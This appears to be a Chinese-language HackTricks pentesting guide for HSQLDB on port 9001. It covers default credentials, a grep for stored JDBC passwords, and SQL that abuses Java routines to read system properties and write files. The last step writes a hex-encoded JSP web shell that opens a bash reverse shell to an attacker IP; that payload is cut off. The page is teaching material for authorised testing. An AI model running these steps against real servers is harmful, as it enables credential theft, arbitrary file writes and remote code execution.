9001 - Pentesting HSQLDB

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

其他支持HackTricks的方式:

基本信息

HSQLDB (HyperSQL DataBase) 是用Java编写的领先的SQL关系数据库系统。它提供了一个小型、快速的多线程和事务性数据库引擎,支持内存和基于磁盘的表,并支持嵌入式和服务器模式。

默认端口: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

信息

默认设置

请注意,默认情况下,此服务可能在内存中运行或绑定到本地主机。如果您找到了它,您可能已经利用了另一个服务,并且希望提升权限。

默认凭据通常为sa,密码为空。

如果您已经利用了另一个服务,请搜索可能的凭据使用

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

注意仔细记录数据库名称 - 您将需要它来连接。

信息收集

通过下载 HSQLDB并提取 hsqldb/lib/hsqldb.jar 来连接到数据库实例。使用 java -jar hsqldb.jar 运行 GUI 应用程序 (eww) 并使用发现的/弱凭据连接到实例。

请注意,对于远程系统,连接 URL 将类似于:jdbc:hsqldb:hsql://ip/DBNAME

技巧

Java 语言例程

我们可以使用 Java 语言例程从 HSQLDB 调用 Java 类的静态方法。请注意,被调用的类需要在应用程序的类路径中。

JRT 可以是 functionsprocedures。如果 Java 方法返回一个或多个与 SQL 兼容的原始变量,则可以通过 SQL 语句调用函数。它们使用 VALUES 语句调用。

如果我们要调用的 Java 方法返回 void,则需要使用使用 CALL 语句调用的过程。

读取 Java 系统属性

创建函数:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

执行函数:

VALUES(getsystemproperty('user.name'))

您可以在这里找到系统属性列表

将内容写入文件

您可以使用位于JDK中的com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java小工具(自动加载到应用程序的类路径中)通过自定义过程将十六进制编码的项目写入磁盘。请注意最大大小为1024字节

创建过程:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

执行过程:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

其他支持HackTricks的方式:

最后更新于